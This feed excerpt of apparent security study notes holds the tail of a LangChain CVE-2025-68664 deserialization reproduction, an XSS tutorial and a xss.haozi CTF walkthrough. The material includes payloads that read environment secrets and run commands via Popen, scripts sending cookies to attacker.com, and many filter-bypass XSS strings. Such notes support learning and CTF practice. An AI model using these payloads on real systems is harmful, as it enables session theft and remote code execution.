</span><br><span class="line">  </span><br><span class="line">if __name__ == &quot;__main__&quot;:  </span><br><span class="line">  </span><br><span class="line">    os.environ[&quot;TEST_SECRET&quot;] = &quot;super_secret_666&quot;  </span><br><span class="line">  </span><br><span class="line">    # Windows专用payload（路径双反斜杠）  </span><br><span class="line">    test_payloads = &#123;  </span><br><span class="line">        &quot;读环境变量&quot;: &#x27;&#123;&quot;lc&quot;:1,&quot;type&quot;:&quot;constructor&quot;,&quot;id&quot;:[&quot;malicious_modules&quot;,&quot;env_reader&quot;,&quot;EnvReader&quot;],&quot;kwargs&quot;:&#123;&quot;key&quot;:&quot;TEST_SECRET&quot;&#125;&#125;&#x27;,  </span><br><span class="line">        &quot;读文件（Windows）&quot;: &#x27;&#123;&quot;lc&quot;:1,&quot;type&quot;:&quot;constructor&quot;,&quot;id&quot;:[&quot;malicious_modules&quot;,&quot;file_reader&quot;,&quot;FileReader&quot;],&quot;kwargs&quot;:&#123;&quot;file_path&quot;:&quot;C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts&quot;&#125;&#125;&#x27;,  </span><br><span class="line">        &quot;执行命令（Windows）&quot;: &#x27;&#123;&quot;lc&quot;:1,&quot;type&quot;:&quot;constructor&quot;,&quot;id&quot;:[&quot;malicious_modules&quot;,&quot;cmd_executor&quot;,&quot;CmdExecutor&quot;],&quot;kwargs&quot;:&#123;&quot;cmd&quot;:&quot;whoami&quot;&#125;&#125;&#x27;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    for test_name, payload_str in test_payloads.items():  </span><br><span class="line">        print(f&quot;\n--- 测试：&#123;test_name&#125; ---&quot;)  </span><br><span class="line">        try:  </span><br><span class="line">            payload_data = json.loads(payload_str)  </span><br><span class="line">            result = my_load(payload_data)  # 用自己的load逻辑  </span><br><span class="line">            print(f&quot;payload：&#123;payload_str&#125;&quot;)  </span><br><span class="line">            print(f&quot;结果：&#123;result&#125;&quot;)  </span><br><span class="line">            print(f&quot;结果类型：&#123;type(result)&#125;&quot;)  </span><br><span class="line">        except Exception as e:  </span><br><span class="line">            print(f&quot;测试失败：&#123;str(e)&#125;&quot;)</span><br></pre></td></tr></table></figure><p>能得到所有的结果<br><img src="/images/7.png"><br>其中的py文件都是类似于漏洞的执行逻辑写的 如果是ctf题或者是实战 就完全不能是这个payload了 id里面的 而是类似于这种</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">from builtins import open[&quot;builtins&quot;, &quot;open&quot;]内置 open 类（读文件）</span><br><span class="line">from subprocess import Popen[&quot;subprocess&quot;, &quot;Popen&quot;]内置 Popen 类（执行命令）</span><br><span class="line">from langchain_core.tools import CommandLineTool[&quot;langchain_core&quot;, &quot;tools&quot;, &quot;CommandLineTool&quot;]LangChain 自带的命令执行类</span><br><span class="line">from app.utils import CmdRun[&quot;app&quot;, &quot;utils&quot;, &quot;CmdRun&quot;]目标代码自定义的类</span><br></pre></td></tr></table></figure><p>这种</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">读 flag 文件builtins.open[&quot;builtins&quot;, &quot;open&quot;]&#123;&quot;file&quot;: &quot;/flag&quot;, &quot;mode&quot;: &quot;r&quot;&#125;</span><br><span class="line">执行系统命令subprocess.Popen[&quot;subprocess&quot;, &quot;Popen&quot;]&#123;&quot;args&quot;: [&quot;cat&quot;, &quot;/flag&quot;], &quot;stdout&quot;: -1, &quot;shell&quot;: true&#125;</span><br></pre></td></tr></table></figure><p>然后注意<br><code>constructor</code>只能实例化<strong>类</strong>（有<code>__init__</code>方法），不能直接调用函数（比如<code>os.system</code>是函数，不能写<code>id: [&quot;os&quot;, &quot;system&quot;]</code>）<br>还有就是目标代码里面有命名空间限制（大多数都是有的）就是用到LangChain 自身的工具类 ivory学长的博客上面也说了 最好用的一般都在黑名单里面 一般的就…</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">CommandLineToollangchain_core.tools执行系统命令[&quot;langchain_core&quot;, &quot;tools&quot;, &quot;CommandLineTool&quot;]</span><br><span class="line">FileReadToollangchain_core.tools读取文件[&quot;langchain_core&quot;, &quot;tools&quot;, &quot;FileReadTool&quot;]</span><br><span class="line">FileWriteToollangchain_core.tools写入文件[&quot;langchain_core&quot;, &quot;tools&quot;, &quot;FileWriteTool&quot;]</span><br></pre></td></tr></table></figure><p>主要就是掌握id的构造 实战很难搞出东西(目前为止) 只是看环境</p>]]>
    </content>
    <id>http://47.109.24.42/2026/01/05/%E5%A4%8D%E7%8E%B0CVE-2025-68664/</id>
    <link href="http://47.109.24.42/2026/01/05/%E5%A4%8D%E7%8E%B0CVE-2025-68664/"/>
    <published>2026-01-05T13:00:00.000Z</published>
    <summary>
      <![CDATA[<h4 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h4><p>LangChain框架在处理LLM应用的复杂数据结构时，采用了定制的序列化机制。该机制与标准JSON序列化不同，它使用特殊的]]>
    </summary>
    <title>复现CVE-2025-68664</title>
    <updated>2026-01-05T13:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>xiexie</name>
    </author>
    <category term="学习笔记" scheme="http://47.109.24.42/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <category term="学习task" scheme="http://47.109.24.42/tags/%E5%AD%A6%E4%B9%A0task/"/>
    <content>
      <![CDATA[<ul><li><h4 id="什么是xss"><a href="#什么是xss" class="headerlink" title="什么是xss"></a>什么是xss</h4></li></ul><p>跨站脚本攻击 原理是操纵存在漏洞的网站，使其向用户返回恶意 JavaScript 代码。当恶意代码在受害者的浏览器中执行时，攻击者就能完全控制用户与应用程序的交互。</p><ul><li><h4 id="XSS概念验证"><a href="#XSS概念验证" class="headerlink" title="XSS概念验证"></a>XSS概念验证</h4></li></ul><p>通过注入一段有效载荷来验证大多数类型的 XSS 漏洞，该有效载荷会导致您的浏览器执行一些任意 JavaScript 代码。相当于就是快速检测是否有xss漏洞 。在大多数靶场里面可以快速用函数<code>alert()</code> 看看会不会出现弹窗 后面alert()函数在有些无法使用了 用的是print()</p><ul><li><h4 id="XSS攻击类型"><a href="#XSS攻击类型" class="headerlink" title="XSS攻击类型"></a>XSS攻击类型</h4></li></ul><p>XSS攻击主要分为三种类型，分别是：</p><ul><li>反射型 XSS，其中恶意脚本来自当前的 HTTP 请求。</li><li>存储型 XSS，其中恶意脚本来自网站的数据库。</li><li>基于 DOM 的 XSS漏洞 存在于客户端代码而不是服务器端代码中。</li><li><h5 id="反射型xss"><a href="#反射型xss" class="headerlink" title="反射型xss"></a>反射型xss</h5></li></ul><p>恶意代码通过 URL 参数传递，服务器未过滤直接将其返回给浏览器，浏览器执行这段代码。<br>比如</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">漏洞页面：search.php &lt;?php // 直接获取URL中“query”参数的值，未过滤 $search_query = $_GET[&#x27;query&#x27;]; ?&gt; &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;body&gt; &lt;p&gt;你搜索的内容是：&lt;?php echo $search_query; ?&gt;&lt;/p&gt; &lt;!-- 直接输出用户输入 --&gt; &lt;/body&gt; &lt;/html&gt;</span><br></pre></td></tr></table></figure><p>注入</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://example.com/search.php?query=&lt;script&gt;alert(&#x27;反射性XSS测试&#x27;)&lt;/script&gt;</span><br></pre></td></tr></table></figure><p>然后别人输入 或者点击我构造的危险链接后 我服务器上就能获得别人的信息 cookie 当前页面等等</p><ul><li><h4 id="存储型-XSS"><a href="#存储型-XSS" class="headerlink" title="存储型 XSS"></a>存储型 XSS</h4></li></ul><p>指应用程序从不受信任的来源接收数据，并以不安全的方式将该数据包含在其后续的 HTTP 响应中 也就是会影响到所有接收到http响应的人 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">// 1. 提交留言接口：save_message.php</span><br><span class="line">&lt;?php</span><br><span class="line">// 接收用户输入的留言内容</span><br><span class="line">$message = $_POST[&#x27;content&#x27;];</span><br><span class="line">// 连接数据库，直接存储恶意代码（无过滤）</span><br><span class="line">$conn = mysqli_connect(&quot;localhost&quot;, &quot;root&quot;, &quot;password&quot;, &quot;test_db&quot;);</span><br><span class="line">$sql = &quot;INSERT INTO message (content) VALUES (&#x27;$message&#x27;)&quot;;</span><br><span class="line">mysqli_query($conn, $sql);</span><br><span class="line">?&gt;</span><br><span class="line"></span><br><span class="line">// 2. 展示留言接口：show_message.php</span><br><span class="line">&lt;?php</span><br><span class="line">$conn = mysqli_connect(&quot;localhost&quot;, &quot;root&quot;, &quot;password&quot;, &quot;test_db&quot;);</span><br><span class="line">$sql = &quot;SELECT content FROM message&quot;;</span><br><span class="line">$result = mysqli_query($conn, $sql);</span><br><span class="line">// 读取所有留言并直接输出到页面（无转义）</span><br><span class="line">while($row = mysqli_fetch_assoc($result)) &#123;</span><br><span class="line">    echo &quot;&lt;div class=&#x27;msg&#x27;&gt;&quot; . $row[&#x27;content&#x27;] . &quot;&lt;/div&gt;&quot;;</span><br><span class="line">&#125;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>然后构造</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt; // 窃取当前用户Cookie并发送到攻击者服务器 var cookie = document.cookie; new Image().src = &quot;http://attacker.com/steal.php?cookie=&quot; + cookie; &lt;/script&gt;</span><br></pre></td></tr></table></figure><p>当任何用户访问show_message.php页面时，服务器会从数据库读取这条恶意留言，并输出到页面中。用户的浏览器会自动执行脚本：<br>读取该用户的网站 Cookie；<br>跨域将 Cookie 发送到攻击者的服务器；<br>攻击者查看steal.php的日志，即可获取所有访问该留言板用户的 Cookie。</p><ul><li><h4 id="基于-DOM-的-XSS（恶意代码全程不经过服务器）"><a href="#基于-DOM-的-XSS（恶意代码全程不经过服务器）" class="headerlink" title="基于 DOM 的 XSS（恶意代码全程不经过服务器）"></a>基于 DOM 的 XSS（恶意代码全程不经过服务器）</h4></li></ul><p>什么是DOM 文档对象模型 通过将文档的结构（例如表示网页的 HTML）以对象的形式存储在内存中，将网页与脚本或编程语言连接起来。尽管将 HTML、SVG 或 XML 文档建模为对象并不是 JavaScript 核心语言的一部分，但它通常与 JavaScript 相关。<br>举个例子</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;p id=&quot;greet&quot;&gt;你好&lt;/p&gt;</span><br></pre></td></tr></table></figure><p>对这个HTML代码<br>用 JavaScript 就能通过 DOM 轻松修改它：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">// 从 DOM 里找到 id 是 greet 的元素 var pTag = document.getElementById(&quot;greet&quot;); // 修改它的文字内容 pTag.textContent = &quot;你好呀！&quot;;</span><br></pre></td></tr></table></figure><p>就像是用编程语言去控制html的翻译官吧<br>当页面的 JavaScript<strong>直接使用客户端可控的数据</strong>（如 URL 参数、<code>localStorage</code>、<code>sessionStorage</code>等）来更新 DOM，且没有对数据做过滤 &#x2F; 转义时，攻击者可以构造恶意数据，让 JavaScript 把恶意脚本插入到页面中并执行。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">&lt;!DOCTYPE html&gt;</span><br><span class="line">&lt;html&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">  &lt;div id=&quot;welcome&quot;&gt;&lt;/div&gt;</span><br><span class="line"></span><br><span class="line">  &lt;script&gt;</span><br><span class="line">    // 从URL的query参数中获取&quot;username&quot;的值</span><br><span class="line">    // 例如 URL：http://example.com/welcome.html?username=test</span><br><span class="line">    var username = new URLSearchParams(location.search).get(&#x27;username&#x27;);</span><br><span class="line">    // 直接将username插入到页面的welcome节点中（危险操作）</span><br><span class="line">    document.getElementById(&#x27;welcome&#x27;).innerHTML = &quot;欢迎你，&quot; + username;</span><br><span class="line">  &lt;/script&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><p>假设一个有漏洞的前端代码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">http://example.com/welcome.html?username=&lt;img src=x onerror=&quot;new Image().src=&#x27;http://attacker.com/steal.php?cookie=&#x27;+document.cookie&quot;&gt;</span><br><span class="line">img标签的onerror事件（图片加载失败时执行代码），绕过了直接写&lt;script&gt;的限制</span><br></pre></td></tr></table></figure><p>使用危险 DOM API 处理客户端数据<br>直接赋值给innerHTML、outerHTML、document.write()；<br>动态创建标签时使用eval()、setTimeout()、setInterval()执行字符串（如eval(location.hash)）；<br>动态设置元素的事件属性（如onclick、onerror、onload)(<strong>会把写入的内容当作 HTML 解析</strong>）</p><h3 id="wp"><a href="#wp" class="headerlink" title="wp"></a>wp</h3><ul><li><h5 id="xss-haozi"><a href="#xss-haozi" class="headerlink" title="xss.haozi"></a>xss.haozi</h5></li></ul><p>1.<br>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">  function render (input) &#123;</span><br><span class="line">  return &#x27;&lt;div&gt;&#x27; + input + &#x27;&lt;/div&gt;&#x27;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><br>  这个函数的逻辑是把传入的 <code>input</code> 参数直接拼接进 <code>&lt;div&gt;</code> 标签的 HTML 字符串中返回，<strong>完全没有对 <code>input</code> 中的特殊字符（如 <code>&lt;</code>、<code>&gt;</code>、<code>script</code> 等）做过滤或转义</strong><br>  那么直接弹窗就可以了<br>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;alert(1)&lt;/script&gt;</span><br></pre></td></tr></table></figure><br>  2. </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">function render (input) &#123;</span><br><span class="line">  return &#x27;&lt;textarea&gt;&#x27; + input + &#x27;&lt;/textarea&gt;&#x27;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>&lt;textarea&gt;</code> 是 HTML 的表单元素，设计初衷就是承载<strong>原始文本</strong>（比如输入框、编辑器内容），浏览器解析时会有特殊规则：<br>只要内容还在 <code>&lt;textarea&gt;</code> 标签内部，所有字符（包括 <code>&lt;</code>、<code>&gt;</code>、<code>&lt;script&gt;</code> 等）都会被当作纯文本显示，不会解析成 HTML&#x2F;JavaScript。 学到的方法 直接闭合 <code>&lt;/textarea&gt;</code>（闭合标签），就能<strong>跳出<code>&lt;textarea&gt;</code>的纯文本上下文</strong> </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;&lt;/textarea&gt;&lt;script&gt;alert(1)&lt;/script&gt;&quot;</span><br></pre></td></tr></table></figure><p>也就是这样输入</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;textarea&gt;&quot;&lt;/textarea&gt;&lt;script&gt;alert(1)&lt;/script&gt;&quot;&lt;/textarea&gt;</span><br></pre></td></tr></table></figure><p>然后拼接成这样<br>3. </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">function render (input) &#123;</span><br><span class="line">  return &#x27;&lt;input type=&quot;name&quot; value=&quot;&#x27; + input + &#x27;&quot;&gt;&#x27;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>直接把input拼接进去 input本身是创建表单的 而且</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">表单输入元素，属于「单标签」（没有闭合标签 &lt;/input&gt;，直接以 &lt;input ...&gt; 结束）；</span><br></pre></td></tr></table></figure><p>这里可以提前闭合 然后执行 这里是一个新的方法 后面的<code>&lt;img&gt;</code>标签会被正常解析，<code>src=1</code>无效触发<code>onerror</code>事件，执行<code>alert</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;&gt; &lt;img src=x onerror=alert(1)&gt;</span><br></pre></td></tr></table></figure><p>正常执行就可以了 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;&gt; &lt;script&gt;alert(1)&lt;/script&gt;</span><br></pre></td></tr></table></figure><p>或者是直接用上input </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot; onclick=alert(1) x=&quot;</span><br></pre></td></tr></table></figure><p>把前面value闭合了 把后面input也闭合了 变成这样 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;input type=&quot;name&quot; value=&quot;&quot; onclick=alert(1) x=&quot;&quot;&gt;</span><br></pre></td></tr></table></figure><p>他的事件属性<br><code>onclick</code> &#x3D; <strong>点击事件</strong>：当用户用鼠标左键点击该 HTML 元素时，立即执行<code>onclick</code>里的 JS 代码<br><code>onfocus</code> &#x3D; <strong>聚焦事件</strong>：仅针对输入类元素（<code>&lt;input&gt;</code>、<code>&lt;textarea&gt;</code>），当用户把光标移入该元素（比如点击输入框准备输入内容）时，执行<code>onfocus</code>里的 JS 代码。<br><code>onchange</code> &#x3D; <strong>内容改变事件</strong>：仅针对输入类元素，满足两个条件才触发：</p><ol><li>用户修改了元素的内容（比如输入框里打字、下拉框选选项）；</li><li>光标离开该元素（比如点击页面其他地方、按 Tab 键）。</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">事件属性生效范围XSS 攻击核心利用标签核心特点</span><br><span class="line">onclick几乎所有 HTML 标签&lt;input&gt;/&lt;img&gt;点击就触发，通用但易察觉</span><br><span class="line">onfocus仅输入类表单标签（&lt;input&gt;/&lt;textarea&gt;/&lt;select&gt;）&lt;input&gt;聚焦就触发，最隐蔽，输入必中</span><br><span class="line">onchange仅可修改内容的表单标签（&lt;input&gt;/&lt;textarea&gt;/&lt;select&gt;）&lt;input&gt;改内容 + 离开触发，窃取输入内容</span><br></pre></td></tr></table></figure><p>这一关我都试了 都是可行的<br>4. 黑名单 简陋的替换()为空字符 除了这个靶场 其他想要窃取cookie几乎也不需要()这个吧 但是还是得知道怎么过<br> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;alert`1`&lt;/script&gt;</span><br></pre></td></tr></table></figure><br>   用 反引号来包裹 或者是 HTML实体编码来进行绕过<br>   <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;svg src=x οnlοad=&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;&gt;</span><br></pre></td></tr></table></figure><br>   这里可以用上极客里面的svg （回忆一下）<strong>矢量图形格式</strong> 允许内嵌 JavaScript 代码，也能绑定onload&#x2F;onclick&#x2F;onmouseover等事件属性，浏览器解析 SVG 时会执行这些 JS<br>   5. 过滤了反引号 那就是html实体编码 onload 是 HTML 的 <strong>“加载完成事件属性”</strong> —— 当某个 HTML 元素（或整个网页）完全加载完毕后，浏览器会自动执行 onload 属性里的 JavaScript 代码。<br>   <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;svg src=x onload=alert&amp;#40;1&amp;#41;&gt;</span><br></pre></td></tr></table></figure><br>   6. 闭合掉注释<br>   <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;!-- -- !&gt;</span><br><span class="line">--!&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;!--</span><br></pre></td></tr></table></figure><br>   7. 过滤掉各种属性 on auto 以及标签&gt; 看wp了</p><pre><code>onclick=alert(1)</code></pre><p>   居然是换行 什么原理<br>   这里的「任意字符」<strong>不包含换行符</strong>（正则默认模式下，<code>.</code> 匹配除 <code>\n</code>&#x2F;<code>\r</code> 外的所有字符）。</p><pre><code>on.*=的匹配逻辑：`.*`是 “贪婪匹配任意字符（除换行）”，因为正则默认`.`不匹配换行符（`\n`），所以当`onclick`和`=`之间有换行时，`on.*=`无法匹配整个`onclick\n=`，所以不会被替换，从而绕过过滤</code></pre><ol start="8"><li>过滤了&gt; 看wp 此处过滤了尖括号之间的字符，不过由于浏览器的兼容性，反尖括号（&gt;）可以省略，从而进行绕过</li></ol><pre><code>&lt;svg onclick=&quot;alert(1)&quot;解析onclick=alert(1) → 无引号时，属性值从alert开始，遇到第一个特殊字符(就立即终止；onclick的属性值只保留alert，后面的(1)被当作 “SVG 标签内的无效文本”；最终解析结果：&lt;svg onclick=alert (1)&lt;/svg&gt; → onclick只绑定了alert（无参数），自然触发不了弹窗。所以这里是单一属性 需要加引号（其实这个才是标准写法） 不加引号的话 给 svg 的 onclick 也加 “空格分隔的无效属性”，让`onclick=alert(1)`变成独立属性，无引号也能生效：&lt;svg onclick=alert(1) x=1</code></pre><ol start="9"><li>用前面学到的换行绕过即可</li></ol><pre><code>&lt;/style&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;style&gt;</code></pre><ol start="10"><li>利用onerror 先匹配上正则 但是需要是个假的url 来使后面的代码执行 最后闭合上alert(1)</li></ol><pre><code>https://www.segmentfault.com111&quot; onerror=&quot;alert(1)</code></pre><ol start="11"><li>先看源代码 是黑名单过滤</li></ol><pre><code>function render (input) &amp;#123;  function escapeHtml(s) &amp;#123;    return s.replace(/&amp;/g, &#39;&amp;amp;&#39;)            .replace(/&#39;/g, &#39;&amp;#39;&#39;)            .replace(/&quot;/g, &#39;&amp;quot;&#39;)            .replace(/&lt;/g, &#39;&amp;lt;&#39;)            .replace(/&gt;/g, &#39;&amp;gt;&#39;)            .replace(/\//g, &#39;&amp;#x2f&#39;)  &amp;#125;  const domainRe = /^https?:\/\/www\.segmentfault\.com/  if (domainRe.test(input)) &amp;#123;    return `&lt;script src=&quot;$&amp;#123;escapeHtml(input)&amp;#125;&quot;&gt;&lt;/script&gt;`  &amp;#125;  return &#39;Invalid URL&#39;&amp;#125;</code></pre><p>同时有上一关的正则匹配 这个也是看的wp 神奇<br>使用 @ 会以 @ 前的字符串作为用户名来访问 @ 后面的网址 这个记一下知识点吧 毕竟哪个服务器上面会有个这个文件 我还要事先知道 记一下wp吧</p><pre><code>https://www.segmentfault.com@xss.haozi.me/j.js</code></pre><ol start="12"><li>转大写 直接编码</li></ol><pre><code>&lt;img src=&quot;&quot; onerror=&quot;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;&quot;&gt;</code></pre><ol start="13"><li>去掉script 转大写 编码一样可以</li><li>注释掉了 然后黑名单 这里看着html写就可以了 绕过注释 最后有个’） 直接–&gt;注释掉</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">alert(1)</span><br><span class="line">--&gt;</span><br></pre></td></tr></table></figure><ol start="15"><li>开始一次不能用字母 然后转大写 后面可以实体编码 前面不知道了 先放着<br>实在是没法 看wp了 这谁能想到 ſ 大写后为 S（ſ 不等于s） (还有古英文！！)</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;ſcript src=&quot;&quot; οnerrοr=&quot;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;&quot;&gt;</span><br></pre></td></tr></table></figure><ol start="15"><li>原本想用上注释的 但是&gt;被ban了 还好是在标签里面 前面的实体编码也没什么用 看着下面写闭合就可以了 然后加上; 保证能执行</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27;);alert(1)(&#x27;</span><br></pre></td></tr></table></figure><ol start="17"><li>这个是怎么防的？就是可以直接写代码 而且连标签都不用管 感觉怪怪的</li><li>过滤了很多 比较重要的就是</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27; \\ &quot; &lt; &gt; `</span><br></pre></td></tr></table></figure><p>上面错了 这里我补上知识点<br>JS 解析的优先级是「先处理转义符 → 再执行表达式 → 最后处理语法错误」，这也是 <code>alert</code> 能执行的关键 也就是说转义符会被直接无视 等于没有黑名单 直接照着前面闭合就可以了<br>19. 给双引号加上转义 前面的知识点 等于没有过滤了 但是我的输入会在”包着的<br>搞了一个这个</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;console.log(&quot;\&quot;);alert(1);(\&quot;&quot;);&lt;/script&gt;</span><br></pre></td></tr></table></figure><p>为啥不行 不是说会被转义吗？上一关是<code>javascript:</code> 会让字符串内容在第二次解析中重新成为代码，正是在第二次解析里成功闭合了字符串并执行了 <code>alert</code><br>我这里就等于 console.log(‘<strong>“);alert(1);(“</strong>‘); 而上一道题</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">var url = &#x27;javascript:console.log(&quot;\&quot;);alert(\&quot;1&quot;)&#x27;</span><br></pre></td></tr></table></figure><p>先等于javascript:console.log(“”);alert(“1”)<br>然后再次执行 前面就闭合了<br>所以说这道题 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;console.log(&quot;\\&quot;); alert(1) //&quot;);&lt;/script&gt;</span><br></pre></td></tr></table></figure><p>是一次性闭合了前面 来直接执行的 我看的网上的wp几乎都是写的很乱不清楚 搞了好久</p><h4 id="xss挑战"><a href="#xss挑战" class="headerlink" title="xss挑战"></a>xss挑战</h4><p>规则</p><ul><li>应该执行<code>alert(document.domain)</code>。</li><li>应该利用该域名上的跨站脚本漏洞。</li><li>不应该是自XSS攻击或与中间人攻击相关的攻击。</li><li>应在<a href="https://go.intigriti.com/submit-solution">go.intigriti.com&#x2F;submit-solution</a>上报告。</li><li>无需用户交互。<br>限制了长度 不能超过24个词 很受限制了 因为执行的东西就22了 不可能加标签了 抓包看看 有没有可能是简简单单的前端验证 其实没有这个限制呢 f12改尝试了 并不是 后端验证得死死的 不过重新审计代码<br>前面的前端动效之类的不用管 后面扒下来</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;</span><br><span class="line">    window.name = &#x27;XSS(eXtreme Short Scripting) Game&#x27;</span><br><span class="line"></span><br><span class="line">    function showModal(title, content) &#123;</span><br><span class="line">      var titleDOM = document.querySelector(&#x27;#main-modal h3&#x27;)</span><br><span class="line">      var contentDOM = 